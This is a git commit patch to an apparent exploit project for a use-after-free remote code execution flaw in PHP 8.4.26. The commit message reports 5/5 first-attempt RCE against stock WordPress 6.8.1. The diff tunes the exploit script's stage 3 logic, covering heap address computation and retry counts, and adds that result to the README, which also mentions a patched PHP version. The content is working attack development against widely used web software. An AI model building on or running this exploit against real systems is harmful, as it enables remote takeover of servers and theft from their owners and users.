From ac4e654dd61289bd6a3e89f4f7d78139bd3972c6 Mon Sep 17 00:00:00 2001 From: neko Date: Thu, 22 Oct 2026 19:59:12 +0000 Subject: [PATCH] Confirm WordPress 6.8.1 RCE and clean up stage 3 retry logic WordPress on stock PHP (no php.ini) is vulnerable with the same heap profile parameters as plain PHP. Tested 5/5 first-attempt RCE against php:8.4.26-apache + WordPress 6.8.1 with no configuration changes. Simplified stage 3 retry loop: removed the HTDATA offset scanning that was added during WordPress debugging (unnecessary, stock offsets work). Stage 3 now uses the same retry count as stages 1 and 2. --- uaf-rce/README.md | 1 + uaf-rce/rce_exploit.py | 8 ++++---- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/uaf-rce/README.md b/uaf-rce/README.md index a9c32a6..3ae1397 100644 --- a/uaf-rce/README.md +++ b/uaf-rce/README.md @@ -207,6 +207,7 @@ The exploit has been tested on: - `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings) - `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE - `php:8.3.35-apache` stock Docker image, RCE confirmed (first attempt) +- `php:8.4.26-apache` + WordPress 6.8.1 (no php.ini), 5/5 RCE (first attempt each) - `php:8.4.27-apache` patched: all three exploit primitives blocked (see below) ## display_errors and WordPress diff --git a/uaf-rce/rce_exploit.py b/uaf-rce/rce_exploit.py index 1240847..a1ed549 100644 --- a/uaf-rce/rce_exploit.py +++ b/uaf-rce/rce_exploit.py @@ -924,9 +924,7 @@ def cmd_exploit(args) -> int: if single: ex.rotate() - htdata_addr = chunk + ex.htdata_offset zif_addr = libphp + zif - t.log(f"[*] stage 3: HTDATA=0x{htdata_addr:x} ZIF=0x{zif_addr:x}") if args.proof_file: try: @@ -962,8 +960,10 @@ def cmd_exploit(args) -> int: pass return "" - proof = "" - for attempt in range(1, args.retries + 3): + htdata_addr = chunk + ex.htdata_offset + t.log(f"[*] stage 3: HTDATA=0x{htdata_addr:x} ZIF=0x{zif_addr:x}") + + for attempt in range(1, args.retries + 1): try: ex.stage3(htdata_addr, zif_addr) except OSError as e: